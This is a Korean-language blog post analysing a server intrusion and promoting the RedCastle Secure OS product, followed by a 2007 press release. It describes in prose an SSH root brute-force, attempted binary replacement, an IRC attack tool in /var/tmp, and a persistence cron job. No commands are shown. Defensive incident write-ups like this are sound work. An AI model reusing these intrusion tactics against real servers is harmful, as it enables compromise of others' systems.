DDOS 공격이 있을 때마다 "보안에 무지한 개인사용자들의 PC" 탓은 더이상 하지 말았으면 한다.

=== 2009년 7월 DDOS 공격이 난무하는 어느날... ===




최근 해킹사고가 늘고 있다.

 

서버보안 S/W의 기술지원과 서버 보안 컨설팅 업무를 약 5년여 동안 하면서 고작 1년에 두 세건 정도 접할 수 있던 서버 해킹 사고가 최근 두여 동안에만 벌써 세 건이나 발생했다.

이런 보안 사고를 접하면서 지금까지 접한 해킹 형태를 문서로 정리해보고 싶은 충동이 생겨 실제 사례 중 하나를 분석하여 이 문서를 작성한다.

 

A사 웹 서버 해킹 방어 사례를 통해 본 해커들의 해킹 동선 분석

 

- 서버 환경
OS : RedHat Linux, Kernel 2.6.9-42 ELsmp (AS 4 up 4)

AP : Apache 2.x, MySQL 5.x, PHP 4.x, Tomcat 5

 

일반적으로 해커가 Root의 계정 권한 획득에 성공하게 되면 해당 서버에는 사망 선고가내려진 것과 같다는 것이 일반적인 생각(?)이다.

 

하지만 지금부터 일반적인 Unix 계열의 서버에서 해커가 root 권한의 획득까지 성공한 최악의 상황에서도 RedCastle이 설치되고 보안정책이 적절하게 적용되어 있다면 충분히 해킹을 방어할 수 있다는 사실을 실제 사례를 통해 살펴보도록 하겠다.

 

 

해킹 발견 당시 외형적인 증상

 

80번 포트를 통한 웹 서비스가 이루어지지 않았고 평소 내부 망 및 외부 망에서 관리를 위해 접속할 수 있도록 설정되어 있던 ssh 접속이 불가능 했다.

  

분석 과정

 

1.      서버로의 접근

 

먼저 외부로부터의 어떤 접속이 있었는지의 확인을 위해 RedCastle의 로그인 통제에 대한 감사로그를 확인하였으나 며칠 전 발생했던 /usr 파일시스템의 full로 인한 장애로 RedCastle로그인 서비스 접근 통제 기능을 잠시 off 하여둔 상태였다. 따라서 RedCastle의 감사로그에는 ssh 접근 기록이 없어 운영체제의 syslog를 확인하였고 단서가 될만한 로그를 확인하였다.

해커가 운영체제의 wtmp, syslog, lastlog, sulog 파일을 모두 지우고 나갔지만 RedCastle이 실시간으로 백업하여 보관하기 때문에 해당 로그를 확인할 수 있었다.

 

RedCastle이 백업하여 보관해둔 운영체제의 syslog에는 다음과 같이 수없이 많은 ssh 접근시도에 대한 로그가 있었으며 소스 IP 또한 선명하게 남아 있었다.

 

 

 위 화면의 중간에 Session opend for user root by root(uid=0) 이라는 로그가 보이고 그 아래(이전)로 반복적으로 root 계정으로의 접근 시도가 있음을 확인할 수 있다. 

 

이러한 로그는 Password Crack 툴을 원격에서 실행한 것으로 추측되며 약 10시간 동안 업무시간 이후에 발생한 것을 확인할 수 있다.

 

 

 해킹을 당할 당시 서버의 root 패스워드에는 사전에 포함된 단어는 아니었지만 키보드의 인접한 자판의 연속으로 구성된 8자의 패스워드였으며 원격에서 root로의 ssh 직접 로그인이 가능하도록 설정이 되어 있었다.

 

해커는 열려져 있는 서비스포트는 SSH 포트로 패스워드 크래킹 툴을 실행하여 약 10시간에 걸친 패스워드 유추 공격을 통해 root 계정의 획득에 성공한 것으로 확인되었다.

 
 

2.      공격도구의 Upload 및 운영체제의 위변조 시도

 

해커가 root 계정의 쉘 획득에 성공한 이후 임시작업 디렉토리인 /var/tmp 디렉토리에 운영체제의 명령어로 위장된 파일들을 upload하였고 운영체제의 주요 파일들을 위/변조하기 위해 cp 명령을 사용하여 운영체제의 파일들을 덮어쓰기 하려 하였다. 하지만 RedCastle의 운영체제 보호 정책에 의해 이러한 시도가 차단되었음을 RedCastle의 보안 감사로그를 통해 확인할 수 있다.

 

  

위의 화면에서 보이듯 root 계정을 획득한 해커가 cp 명령어를 통해 공격도구를  운영체제의 명령어와 바꿔치기 하려하였다.

 

하지만 해커가 root 계정에서 실행한 이 cp명령은 RedCastle 운영체제 바이너리 보호 정책에 의해 거부되었고 위의 화면과 같은 정책 위반 감사 로그를 남겼다. 이후 해커는 root 계정에서 실행한 cp 명령이 실행되지 않자 이해가 되지 않았는지 /usr/sbin으로 이동하여 rm 명령(Delete violation 발생)을 직접 수행해보고 이마저도 차단되자 미친듯이(?) /usr/sbin의 다른 명령어들을 덮어쓰고자 시도하여 무수히 많은 보안 위반 감사 로그를 다음 화면과 같이 남겼다.

만약 SecureOS인 RedCastle이 설치되어 있지 않았다면 ?? 생각만해도 끔찍하다.
OS 재설치하고 Apache 컴파일, Mysql 컴파일, PHP 컴파일, 홈페이지 다시 업로드 그리고 또 다시 겪게될 엄청난 시행착오와 험난한 복구 과정... 당연히 밤샘 작업과 위로부터의 눈총... -.-
 

 

 

 운영체제의 주요 파일들에 대한 위/변조 시도가 모두 차단되자 해커는 서버의 상태를 확인해보고자 netstat와 같은 명령어의 실행을 시도한다. 하지만 이 명령어도 직접 로그인한 root 계정에서는 실행하지 못하도록 한 보안정책에 위반되어 실행이 차단되고 감사 로그가 남겨졌다.

  

이후 이 해커는 화가 났는지 ps 명령어를 통해 httpd 대몬이 실행중인 웹서버임을 확인하고 httpd kill 시켰다. (이 웹서버의 Kill은 Warning 모드로 설정되어 있어 차단하지는 않고 감사기록만 남기도록 했었다.) 

 

   

3.      공격도구의 실행

 

이후 해커는 이 서버를 거점으로 다른 서버를 공격하려 한것으로 보인다.  해커는 /var/tmp/vi.hlds라는 디렉토리를 생성하고 다음과 같이 외부의 다른 서버를 공격하는 공격도구를 설치하였다.

  

IRC와 관련된 공격도구는 사후 분석결과 y2kupdate라는 스크립트를 통하여 Shell로 위장된 bash라는 프로그램을 실행하여 구동되는데 해커는 이 y2kupdate라는 스크립트를 실행하려 하였다. 그러나 OS의 임시 디렉토리가 갖는 근본적인 취약성을 제거하기 위해 설정해둔 임시 디렉토리에서의 실행 차단 정책에 의해 실행이 차단되었고 해커는 y2kupdate 1분에 1회 씩 실행하는 Crontab 작업을 root 계정에 등록해 두고 철수(?)한 듯 하다.

 

 

 

 이후에는 더 이상의 보안 위반 감사로그가 기록되어 있지 않았고 이후 해킹을 발견하기까지 약 12시간 동안 더 이상 서버에 ssh를 이용해 로그인하지 않은 것으로 보인다.

IP를 추적한 결과 다음과 같이 대만의 네트워크 회사가 나온다.


 

4.      해킹 사고의 정리

 

이 서버는 해커에게 침투를 허용했음에도 불구하고 웹서비스의 중지 이외에는 별다를 피해가 없었다. 오히려 해커는 서버에 접근 IP에 대한 기록과 해킹을 자행하려한 수많은 보안 위반 감사로그 만을 남긴 채 빠져나갔을 뿐이다.


또한 이후의 접근을 위해 백도어의 설치도 포기한 듯 백도어가 실행된 흔적또한 발겨ㄴ할 수 없었다.

 

또한 필수적인 보안 정책을 적용하여 두었기 때문에 서버에 백도어 및 운영체제의 명령어에 대한 무결성 그리고 홈페이지 및 데이터베이스에 대한 무결성을 보장할 수 있으므로 서비스를 재기동하고 잠시 열어두어 해커가 침투할 수 있는 단초를 제공했던 로그인 서비스 통제 기능을 활성화시키는 것 만으로 보안 사고의 분석과 복구를 완료할 수 있었다.

 

만약 RedCastle이 설치되어 있지 않았다면 운영체제 바이너리에 대한 무결성을 보장할 수 없을 뿐더러 어디에 설치되어 있을지, 또한 그 백도어가 언제 실행될지 알 수 없기 때문에 OS부터 재설치 작업을 진행해야 했을 것이다.

 

5.      RedCastle SecureOS의 보안 정책

 

해커가 패스워드 유추 공격을 통해 약 10여 시간만에 root 계정의 쉘을 획득하였음에도 불구하고 서버가 별다른 피해를 입지 않을 수 있었던 비결은 무엇일까 ?

 

바로 서버보안 S/W RedCastle을 이용하여 꼭 필요한 몇 가지 기본적인 보안정책을 수립하여두었기 때문이다.

 

먼저 root 계정을 탈취당하더라도 운영체제의 주요 명령어들을 보호하기 위한 OS Binary Protection Policy를 수립하였고 주요 운영체제의 설정파일들에 대해 root 계정으로도 수정하지 못하도록 하는 OS Configuration Protection 정책과 해킹에 주로 이용되는 운영체제의 임시디렉토리에서 실행 권한을 통제하는 OS Temp Directory Protection Ploicy를 적용하였다.

 

또한 웹 서비스의 위변조를 막기위해 Document Root 이하 디렉토리의 위변조 방지 정책 또한 적용하였으며 백도어의 실행을 방지하고 기존의 setuid 파일들을 보호하기 위한 Seuitd/Setgid 프로그램 실행 통제 정책 등 적극적인 형태의 해킹 방지 정책을 수립하였다.

 

이러한 실제 해킹 및 Secure OS를 통한 방어 사례를 살펴보면 방화벽, IPS, VPN 등을 이용하여 네트워크 수준에서의 보안 솔루션을 도입하더라도 복잡 다양한 서비스 및 솔루션의 버그 혹은 잠시의 실수 및 방심을 파고들어 서버에 침투할 수 있다. 그리고 일단 서버에 침투하고 난 이후에는 더 이상의 방어수단이 없이 서버가 해커에게 무방비상태로 노출되는 경우가 대부분이다.

 

위의 사례에서 보듯 지능적이고 열정적(??)인 해커들의 최종 공격 대상인 서버를 보호하기 위해서는 Secure OS를 통해 최후의 방어선을 구축할 필요가 있다. 비록 해커에게 root 권한 까지도 탈취를 당했지만 운영체제의 보호와 백도어의 차단 그리고 공격도구의 실행 방지와 홈페이지 및 데이터베이스의 보호까지 성공적으로 차단하며 사후 분석인 포렌식을 위한 감사데이터까지도 훌륭하게 남긴 것은 바로 서버보안 S/W RedCastle이 설치되고 최소한의 보안 정책이 적용되어 있었기 때문이다.



IT업계에 몸담고 수많은 BMT를 했지만 특별한 기억으로 남는 BMT는 그리 많지 않다. BMT에서 이겨 우선 협상 대상으로 선정되고도 경쟁제품인 리포트디자이너의 가격 후리기로 인해 포기했던 SKT NGM의 웹 리포팅 솔루션 BMT... 멀고먼 목포에서 2박3일로 실시됐던 삼호중공업의 서버통합관리솔루션 도입관련 BMT.. LG필립스LCD의 서버통합관리솔루션 도입 BMT...

최근에 실시된 BMT로는 이제 이야기를 시작할 서버보안S/W (Secure OS) 도입을 위한 금융결제원 BMT다...

전 직장인 포시에스에 근무할 때 인연을 맺었던 eTrust Access Control....

세계시장 No.1을 자랑하는 Secure OS이지만 국내에서는 여러가지 이유로 인해 점점 밀려나고 있다. 금융결제원도 처음에는 외산인 eTrust Access Control을 여러 업무의 서버에서 사용하였지만 2004년 쯤을 기점으로 더 이상 외산인 eTrust Access Control을 도입하고 있지 않다. 대신 안정화 단계에 접어든 국산 Secure OS를 도입하였고 2004년 당시 국산 제품중 가장 선도 업체였던 Secuve TOS를 도입하여 운용하였다.

하지만 2006년 11월... 금융결제원의 ISAC 팀과 VAN사업팀의 주도하에 표준 Secure OS 선정을 위한 작업을 진행하였고 웹서버의 웹페이지에 대한 접근 통제 정책을 적용한 뒤 실시한 웹 부하 테스트와 웹서버 및 웹 미들웨어의 버그를 가상한 해킹 테스트를 포함하는 BMT를 실시하여 당당히 금융결제원의 표준 Secure OS로 선정되기에 이르렀다.

BMT 준비를 위해 밤낮을 잊어가며 요구기능을 추가해준 연구소의 나은성 팀장님, 그리고 박진배 팀장님의 노력이 있었기에 금융결제원의 BMT를 성공적으로 수행하였고 경쟁제품(Secuve TOS, RedOwl)을 물리치고 이길 수 있었다.

그리고 그해 12월... 최초 10여대의 설치를 시작으로 계속적으로 금융결제원의 서버에 RedCastle이 설치되고 있다.

-----------------------------------------------------------------------------------

2007년 1월 25일[ 디지털타임즈]

- " 레드게이트 , 금융결제원 전산시스템 서버보안 솔루션 공급업체로 선정"

- 금융 ISAC 실 주관 BMT 를 통한 기술평가
- 향후 금융권의 서버보안 솔루션 도입 관련 성능평가를 위한 선도사례로 평가
- 국산 서버보안 솔루션의 외산 솔루션 대체를 통한 주류시장 진입 사례

서버보안 전문기업 레드게이트 ( 대표 김기현 , www.redgate.co.kr) 는 금융결제원의 전산시스템용 서버보안을 위해 자사의 서버보안솔루션 , ‘ 레드캐슬 ' 이 선정되었다고 1 월 23 일 밝혔다 .

이번 사업은 전자금융연구소 내의 금융 ISAC 실이 금융결제원의 전산시스템 특성에 최적화 된 서버보안 솔루션 선정을 위해 주관한 BMT 를 통해 기술평가가 이루어졌으며 ,
‘ 레드캐슬 ' 제품이 금융결제원이 제시한 서버보안 기능요구사항을 대부분 만족시키는 것은 물론 구현기술 중 스케줄링 방식을 통한 자동 무결성 점검 및 정책 별 위험등급 / 대응방법 지정 등의 경쟁사와는 차별화된 서버보안 기술 들이 이번 사업을 수주할 수 있었던 주요 이유였다고 전했다 .

레드게이트는 이번 금융결제원의 BMT를 통한 국산 서버보안 솔루션 도입이 그 동안 외산 제품 및 SI사업을 통한 제안 솔루션을 그대로 사용해 오던 금융권에서, 본격적으로 서버 보안 솔루션에 대한 성능 평가를 통해 도입을 추진하는 시발점이 될 것이며 이는 국산 서버보안 솔루션에 대한 공공기업 분야에서의 오랜 기간의 시장 검증이 완료되었고 이제 은행 , 증권 , 보험 , 카드 등의 금융기관과 민간기업이 주축이 되는 서버보안 솔루션의 주류시장이 개화되는 시기가 오고 있음을 의미한다고 했다 .

레드게이트 김 기현 대표는 “ 이번 BMT 를 통해 선정된 ‘ 레드캐슬 ' 제품이 금융결제원 내의 지속적인 서버보안 구축 사업을 위한 솔루션으로 공급될 것이며 , 금융 기관 들의 서버보안체계 구축을 위한 좋은 선도사례로 참조될 수 있을 것 ” 이라고 하며 향후 레드게이트의 금융권 시장에서의 활약상을 기대해 달라는 당부도 전했다 .

레드게이트는 지난 연말 전국 232 개 시 , 군 , 구와 행정자치부의 공통기반 시스템에 대한 서버보안 프로젝트를 무사히 완료했으며 최근에는 ING 생명의 전사 시스템 서버보안 프로젝트 사업을 수주하여 공급을 완료했다고 전했다 .

2007 년 1 월 23 일